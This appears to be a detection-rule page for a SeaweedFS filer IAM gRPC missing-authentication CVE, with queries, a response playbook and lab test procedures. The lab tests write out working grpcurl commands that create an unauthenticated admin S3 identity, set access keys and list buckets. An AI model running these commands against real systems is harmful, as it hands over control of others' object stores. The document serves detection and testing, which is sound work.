Detect SeaweedFS Unauthenticated Filer IAM gRPC S3 Admin Takeover (CVE-2026-72920) in Sumo Logic CSE
Detects exploitation of CVE-2026-72920, a missing-authentication flaw (CWE-306) in SeaweedFS where the filer's IAM gRPC service exposes S3 identity/credential management without authentication. An unauthenticated attacker can invoke IAM gRPC RPCs (e.g. CreateIdentity/ConfigureS3/UpdateS3Credentials) against the filer's gRPC port to mint S3 admin credentials, add access keys, or alter bucket policies — yielding full administrative control of the object store. Detection focuses on anomalous gRPC calls to the SeaweedFS filer IAM service, sudden creation of new S3 identities/access keys, and follow-on S3 admin actions from untrusted sources. Affected: github.com/seaweedfs/seaweedfs versions before 0.0.0-20260512171108-5e8f99f40a8a (release 4.24).
MITRE ATT&CK
Sumo Detection Query
_sourceCategory=network/seaweedfs ("CreateIdentity" OR "ConfigureS3" OR "UpdateS3Credentials" OR "iam_pb" OR "SeaweedIdentityAccessManagement")
| where dest_port in (18888, 18889, 16333) OR grpc_method matches "*iam_pb*"
| where !(src_ip matches "10.*" or src_ip matches "192.168.*" or src_ip matches "172.1[6-9].*" or src_ip matches "172.2*" or src_ip matches "172.3[0-1].*")
| count as call_count by src_ip, dest_ip, dest_port
| where call_count > 0Sumo Logic detection for SeaweedFS filer IAM gRPC administrative method invocation from external sources.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate admin identity creation
- Credential rotation automation
- Authorized security testing
Other platforms for CVE-2026-72920
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Invoke SeaweedFS filer IAM gRPC CreateIdentity unauthenticated
Expected signal: Network connection to port 18888 and filer gRPC log entry for CreateIdentity from the test source IP.
- Test 2Fingerprint SeaweedFS filer gRPC IAM service
Expected signal: gRPC reflection/list request to port 18888 recorded in network and filer logs.
- Test 3Provision and use attacker S3 credentials via UpdateS3Credentials
Expected signal: UpdateS3Credentials gRPC call on 18888 followed by S3 ListBuckets on 8333 using the new access key.
References (6)
- https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-2v6v-25fm-p4fg
- https://nvd.nist.gov/vuln/detail/CVE-2026-72920
- https://github.com/seaweedfs/seaweedfs/pull/9442
- https://github.com/seaweedfs/seaweedfs/commit/5e8f99f40a8abc7b449aefd260516443377041c7
- https://github.com/seaweedfs/seaweedfs/releases/tag/4.24
- https://github.com/advisories/GHSA-2v6v-25fm-p4fg
Response Playbook
Triage
- Confirm the affected filer's SeaweedFS version is below 0.0.0-20260512171108-5e8f99f40a8a (pre-release 4.24); versions at or above are patched.
- Identify the source IP invoking the IAM gRPC methods and determine whether it is a known administrative/automation host or an untrusted/external source.
- Pull the filer's IAM configuration (identities.json / config) and diff against the last known-good baseline to spot newly created identities or access keys.
- Correlate the timing of the gRPC IAM call with any subsequent S3 API activity (bucket creation, ListBuckets, object exfiltration) from the new credentials.
Containment
- Restrict network access to the filer gRPC port (default 18888) to trusted management CIDRs only via firewall/security group, and block the offending source IP.
- Revoke and rotate all S3 identities and access keys created or modified during the incident window; delete any attacker-provisioned identities.
- Upgrade SeaweedFS to release 4.24 (commit 5e8f99f40a8a) or later to enforce authentication on the filer IAM gRPC service.
Evidence Collection
- Capture the filer gRPC/access logs and the IAM config file (identities.json) showing created identities and credential mutations.
- Preserve network flow/pcap for the source IP to the filer gRPC port, including HTTP/2 frames revealing the invoked RPC methods.
- Export S3 access logs for all buckets to document any data accessed or exfiltrated using attacker-minted credentials.
Escalation Criteria
- !Escalate to incident response if a new S3 identity/access key was created by an untrusted source and used to access buckets.
- !Escalate to data-breach/legal workflow if object listing or download from sensitive buckets is observed under attacker credentials.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
SeaweedFS filer IAM config file (identities.json) with newly added identity/credential entries - >
Filer gRPC access logs recording CreateIdentity/ConfigureS3/UpdateS3Credentials invocations - >
Network flow records and HTTP/2 payloads to filer gRPC port 18888 - >
S3 access logs showing use of attacker-provisioned access keys
Tuning Guidance
Baseline the set of hosts that legitimately administer SeaweedFS IAM (management jump hosts, CI/CD runners) and allowlist their source IPs. Restrict alerting to filer gRPC ports actually in use in your environment (default 18888) and to IAM mutation methods rather than benign read RPCs. If gRPC payload inspection is unavailable, rely on port + external-source heuristics and correlate with filer-side IAM config changes to reduce noise.
Hunting Queries
Hunt for external connections to SeaweedFS filer gRPC ports and IAM mutation events, then pivot to the identities/credentials touched.
DeviceNetworkEvents | where RemotePort in (18888,18889,16333) | where not(ipv4_is_private(RemoteIP)) | summarize count() by RemoteIP, DeviceName, bin(Timestamp,1h)index=seaweedfs sourcetype=seaweedfs:filer ("CreateIdentity" OR "ConfigureS3" OR "UpdateS3Credentials") | stats count values(identity) by src_ip _timeAtomic Red Team Tests
Simulate an unauthenticated gRPC call to the SeaweedFS filer IAM service to create a new S3 identity in a lab.
Command
grpcurl -plaintext -d '{"identity":{"name":"attacker","credentials":[{"accessKey":"AKIAATTACKER","secretKey":"s3cr3t"}],"actions":["Admin"]}}' filer.lab.local:18888 iam_pb.SeaweedIdentityAccessManagement/CreateIdentityCleanup
grpcurl -plaintext -d '{"name":"attacker"}' filer.lab.local:18888 iam_pb.SeaweedIdentityAccessManagement/DeleteIdentityExpected Telemetry
Network connection to port 18888 and filer gRPC log entry for CreateIdentity from the test source IP.
Expected Detection
KQL/SPL rules fire on the CreateIdentity method from a non-private source IP.
Enumerate the unauthenticated IAM gRPC service via reflection to confirm exposure.
Command
grpcurl -plaintext filer.lab.local:18888 list iam_pb.SeaweedIdentityAccessManagementCleanup
echo 'no cleanup required for enumeration'Expected Telemetry
gRPC reflection/list request to port 18888 recorded in network and filer logs.
Expected Detection
Network-based rules surface external connection to the filer gRPC port; payload rules match iam_pb reference.
Chain identity creation with an S3 access-key mutation then a bucket list to emulate full takeover in a lab.
Command
grpcurl -plaintext -d '{"name":"attacker","credentials":[{"accessKey":"AKIAATTACKER","secretKey":"s3cr3t"}]}' filer.lab.local:18888 iam_pb.SeaweedIdentityAccessManagement/UpdateS3Credentials; AWS_ACCESS_KEY_ID=AKIAATTACKER AWS_SECRET_ACCESS_KEY=s3cr3t aws --endpoint-url http://filer.lab.local:8333 s3 lsCleanup
grpcurl -plaintext -d '{"name":"attacker"}' filer.lab.local:18888 iam_pb.SeaweedIdentityAccessManagement/DeleteIdentityExpected Telemetry
UpdateS3Credentials gRPC call on 18888 followed by S3 ListBuckets on 8333 using the new access key.
Expected Detection
Correlation of IAM gRPC mutation with subsequent S3 admin activity from attacker access key triggers the sequence/EQL rule.